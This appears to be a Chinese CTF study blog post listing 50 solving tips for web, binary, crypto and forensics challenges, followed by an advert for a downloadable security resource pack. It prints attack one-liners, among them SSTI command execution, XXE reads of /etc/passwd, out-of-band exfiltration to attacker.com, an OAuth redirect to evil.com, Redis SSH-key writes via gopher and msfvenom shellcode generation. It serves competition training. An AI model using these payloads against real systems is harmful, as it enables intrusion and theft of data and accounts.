CTF竞赛的核心逻辑
- •核心目标:快速拆解问题(Flag导向)、工具链协作、模式化思维。
- •关键原则:先广度后深度(优先收集信息)、分治策略(拆解复杂任务)。
四大模块:50 个 CTF 实战解题思路
这部分是核心!涵盖 Web 安全、逆向工程与 PWN、密码学与隐写术、MISC 与编程,每个思路都附具体操作技巧,直接能用~
(一)Web 安全:15 个高频漏洞解题思路
Web 是 CTF 最常考的模块,以下 15 个思路覆盖 80% 高频漏洞,建议逐个吃透:
- SQL 注入绕过 WAF
- 利用 MySQL 特性:用
/*!50000注释*/混淆语句(比如SELECT /*!50000FROM*/ users); - 字符替换:用
CONCAT(CHAR(115),CHAR(101))代替明文字符串(CHAR(115)是s,CHAR(101)是e,合起来是se)。
- SSTI 模板注入
- Flask/Jinja2 框架:通过
{{''.__class__.__mro__[1].__subclasses__()}}调用危险类; - Twig 模板:用
{{_self.env.registerUndefinedFilterCallback("exec")}}执行系统命令。
- 文件包含漏洞利用
- PHP 伪协议:用
php://input读取 POST 原始数据,直接写入 Webshell; - 日志包含:利用
logrotate日志(如/proc/self/environ)泄露服务器路径,再包含日志 getshell。
- JWT 伪造攻击
- 算法置空:修改 Header 中
alg为none(需删除签名字段,仅适用于未校验算法的场景); - 弱密钥破解:用工具
hashcat -m 16500爆破 JWT 密钥(-m 16500是 JWT 的哈希类型)。
- XXE 漏洞利用
- 本地文件读取:通过
<!ENTITY xxe SYSTEM "file:///etc/passwd">读取系统敏感文件; - 外带数据(OOB):用
http://attacker.com/?data=%xxe;将数据发送到自己的服务器,避免无回显场景。
- CSRF 绕过同源策略构造自动提交的恶意 HTML 表单,再用
<img src="[目标URL]">触发 GET 请求(img 标签加载时会自动发起请求,无需用户点击)。 - SSRF 内网探测利用
gopher://协议攻击内网 Redis 未授权访问:构造 gopher 数据流,往 Redis 写入 SSH 公钥,后续通过 SSH 登录服务器。 - 反序列化漏洞
- PHP:利用
__destruct()(对象销毁时触发)或__wakeup()(反序列化时触发)魔术方法构造攻击链; - Java:借助 Commons-Collections 库的
InvokerTransformer类执行命令(经典反序列化链)。
- Cookie 伪造Flask 框架 Session 伪造:已知 SECRET_KEY 后,用工具
flask-unsign生成恶意 Cookie(命令:flask-unsign --sign --cookie "{'username':'admin'}" --secret "your_key")。 - CORS 配置错误修改 HTTP 请求头
Origin: target.com(目标网站域名),欺骗服务器返回 “允许跨域”,从而窃取敏感数据(如用户信息)。 - HTTP 请求走私利用
Transfer-Encoding: chunked与Content-Length头冲突:给前端服务器发Transfer-Encoding头,给后端发Content-Length头,绕过网关限制。 - 目录穿越读取文件绕过路径过滤:用
....//(多段…/ 拼接)或 URL 编码%2e%2e%2f(%2e是.,%2f是/)代替../。 - Web 缓存投毒篡改
X-Forwarded-Host头:注入恶意脚本(如<script>alert(1)</script>),当服务器缓存页面后,其他用户访问时会触发脚本。 - OAuth 登录劫持伪造回调 URL:在 OAuth 授权流程中,修改
redirect_uri=http://evil.com(自己的恶意域名),窃取用户授权码,进而登录用户账号。 - 浏览器特性滥用用
<link rel="prefetch" href="secret.php">预加载敏感页面:浏览器会自动请求secret.php,若页面依赖登录态,可通过流量捕获登录信息。
(二)逆向工程与 PWN:12 个核心解题技巧
逆向和 PWN 对编程基础要求高,但掌握以下技巧,能快速突破关键逻辑:
- 函数定位技巧在 IDA 中搜索关键词:直接搜
"flag"、"correct"、"wrong"等字符串,定位判断 Flag 正确性的关键函数。 - 栈溢出利用计算偏移量:用
cyclic 200生成 cyclic 字符串(如aaaabaaacaaadaaa...),发送后通过dmesg查看崩溃地址,反推缓冲区偏移。 - 格式化字符串漏洞利用
%n写入数据:%n会将已输出的字符数写入指定地址,可修改 GOT 表(全局偏移表),将函数地址替换为 system 地址。 - 堆利用(UAF/Double Free)
- UAF(释放后重用):释放堆块后不置空指针,继续使用该指针修改虚表(vtable),劫持程序控制流;
- Double Free:重复释放同一堆块,破坏堆结构,申请时获取恶意堆块。
- ROP 链构造用工具
ROPgadget --binary ./pwn提取可执行文件中的 “gadgets”(如pop ret、mov eax, 0x0),拼接成 ROP 链,执行系统命令。 - 反调试绕过修改
/proc/self/status:将TracerPid字段改为 0(表示无调试器跟踪),欺骗程序的反调试检查。 - 动态 Hook 技术用
LD_PRELOAD劫持函数:编写自定义的strcmp()函数(比如直接返回 0,即 “比较相等”),通过LD_PRELOAD=./my_strcmp.so ./pwn加载,绕过密码校验。 - Shellcode 编写生成无空字符的 Shellcode:用
msfvenom -b '\x00' -p linux/x86/exec CMD=/bin/sh -f elf(-b '\x00'表示排除空字符,避免被过滤)。 - 整数溢出利用触发符号错误:比如
size = -1(当size是无符号整数时,-1会变成最大值),绕过if (size <= 100)的长度检查。 - Angr 符号执行自动化求解路径:对于 “迷宫题”“多分支判断题”,用 Angr 模拟程序执行,自动找到能走到
flag的路径(无需手动分析分支)。 - Patch 二进制文件用 Binary Ninja 修改跳转条件:比如将
jz(等于则跳转)改为jnz(不等于则跳转),跳过错误判断,直接输出 Flag。 - 侧信道攻击利用时间差爆破:逐字符判断密码正确性 —— 输入正确字符时,程序处理时间更长(需执行后续逻辑),通过时间差反推密码。
(三)密码学与隐写术:13 个破解思路
密码学和隐写术常考 “识别算法 + 工具破解”,记住这些套路能省很多时间:
- Base 家族识别
- Base64:末尾有
=(1-2 个),字符含大小写字母、数字、+、/; - Base32:仅含大写字母、数字 2-7;
- Base58:无 0、O、I、l(避免混淆),常见于区块链地址。
- RSA 低指数攻击当公钥指数
e=3且明文较短时,直接对密文c开立方(m = c^(1/3)),无需私钥即可解出明文m。 - RSA 共模攻击同一明文用不同公钥(相同模数
n,不同指数e1/e2)加密,得到c1、c2,通过扩展欧几里得算法求e1和e2的逆元,恢复明文。 - 哈希长度扩展攻击利用 SHA1/MD5 的填充机制:已知
hash(secret + data),可在data后追加任意内容,伪造新的哈希值(工具:hash_extender)。 - 培根密码5 位二进制对应字母:A=AAAAA,B=AAAAB,…,Z=BBBBB,将密文按 5 位分组,对照解密。
- 词频分析破解英文单表替换密码:统计密文中高频字符(对应英文中的 E、T、A),逐步替换验证,还原明文。
- LSB 隐写提取用
Stegsolve.jar分析图片:打开图片后切换到 “RGB Bits” 视图,查看红、绿、蓝通道的最低位(LSB),提取隐藏的二进制数据。 - 音频隐写用 Audacity 查看频谱图:导入音频后切换到 “频谱图” 模式,寻找异常的亮线(可能是摩尔斯电码或二进制数据)。
- ZIP 伪加密破解用
zipdetails分析 ZIP 文件头:伪加密的 ZIP 会在 “全局方式位标记” 字段设置错误的加密标记,修改该字段为 0(无加密)即可解压。 - PDF 隐写
- 提取隐藏文本:用
pdftotext -layout 隐写.pdf 输出.txt,查看是否有隐藏在空白处的文本; - 检查对象流:用
pdf-parser.py解析 PDF,查看/FlateDecode压缩的对象流,解压后可能有 Flag。
- NTFS 数据流隐藏用
dir /R查看 ADS(Alternate Data Stream):NTFS 支持文件附加数据流,隐藏的数据会显示为文件名:隐藏流名:$DATA,用more < 文件名:隐藏流名读取。 - PNG 文件修复手动修复文件头:PNG 的正确文件头是
89 50 4E 47 0D 0A 1A 0A,若文件头被篡改,替换为正确头后,再修复 CRC 校验(用工具pngcheck检测错误位置)。 - 二维码数据提取用
zbarimg扫描模糊二维码:即使二维码残缺或模糊,zbarimg -q 二维码.png也可能识别出数据(-q表示安静模式,只输出结果)。
(四)MISC 与编程:10 个实用解题方法
MISC 涵盖范围广,核心是 “细心 + 工具熟练度”,这 10 个思路能应对大部分题目:
- 编码转换自动化用 Python 脚本批量处理:比如 Hex→Base64→URL 解码,避免手动多次转换(示例:
import binascii, base64, urllib.parse; print(urllib.parse.unquote(base64.b64decode(binascii.unhexlify("666C6167")))))。 - **流量分析(Wireshark)**过滤 HTTP 流:用过滤条件
http.request.method == "POST"筛选 POST 请求,查看表单数据;或tcp contains "flag"搜索含 Flag 的流量包。 - **内存取证(Volatility)**提取进程列表:
volatility -f dump.raw pslist(dump.raw是内存镜像文件),定位可疑进程(如cmd.exe、nc.exe),再提取进程内存找 Flag。 - 社会工程学信息收集通过 WHOIS 查询域名:用
whois target.com获取域名注册人邮箱、电话、注册时间,可能作为解题线索(比如邮箱后缀作为密码)。 - 正则表达式暴力提取快速匹配 Flag 格式:用
grep -oE 'flag{[a-zA-Z0-9_]+}' 目标文件(-o只输出匹配部分,-E启用正则,匹配flag{}格式的内容)。 - 时间盲注自动化写 Python 脚本爆破:结合
requests库发送请求,通过 “响应时间” 判断字符是否正确(比如输入' AND IF(substr(flag,1,1)='a', sleep(5), 0) --+,若延迟 5 秒则表示首字符是a)。 - Git 泄露利用恢复源码:先访问
/.git/HEAD确认存在 Git 泄露,再用git-dumper http://target.com/.git/ 本地目录下载.git 文件夹,执行git checkout .恢复源码。 - DNS 隧道检测分析长域名请求:DNS 隧道会将数据编码成域名(如
abcd1234.evil.com,abcd1234是 Base64 编码的内容),用 Wireshark 过滤dns.qry.name contains "evil.com"查看。 - Excel 宏代码提取解压 XLSM 文件:将
.xlsm改为.zip并解压,查看xl/vbaProject.bin文件,用oledump.py提取其中的 VBA 宏代码(可能藏有 Flag 或解密逻辑)。 - PDF 混淆绕过解压 PDF 对象流:用
qpdf --stream-data=uncompress 混淆.pdf 解压后.pdf,将压缩的对象流解压,再搜索flag或查看异常文本。
如何学习黑客/网络安全?
网络安全不是「速成黑客」,而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时,那种创造的快乐远胜于电影里的炫技。装上虚拟机,从配置第一个Linux环境开始,脚踏实地从基础命令学起,相信你一定能成为一名合格的黑客。
如果你还不知道从何开始,我自己整理的282G的网络安全教程可以分享,我也是一路自学走过来的,很清楚小白前期学习的痛楚,你要是没有方向还没有好的资源,根本学不到东西!
下面是我整理的网安资源,希望能帮到你。
😝需要的话,可以V扫描下方二维码联系领取~
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!
1.从0到进阶主流攻防技术视频教程(包含红蓝对抗、CTF、HW等技术点)
2.入门必看攻防技术书籍pdf(书面上的技术书籍确实太多了,这些是我精选出来的,还有很多不在图里)
3.安装包/源码
主要攻防会涉及到的工具安装包和项目源码(防止你看到这连基础的工具都还没有)
4.面试试题/经验
网络安全岗位面试经验总结(谁学技术不是为了赚$呢,找个好的岗位很重要)
😝需要的话,可以V扫描下方二维码联系领取~
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!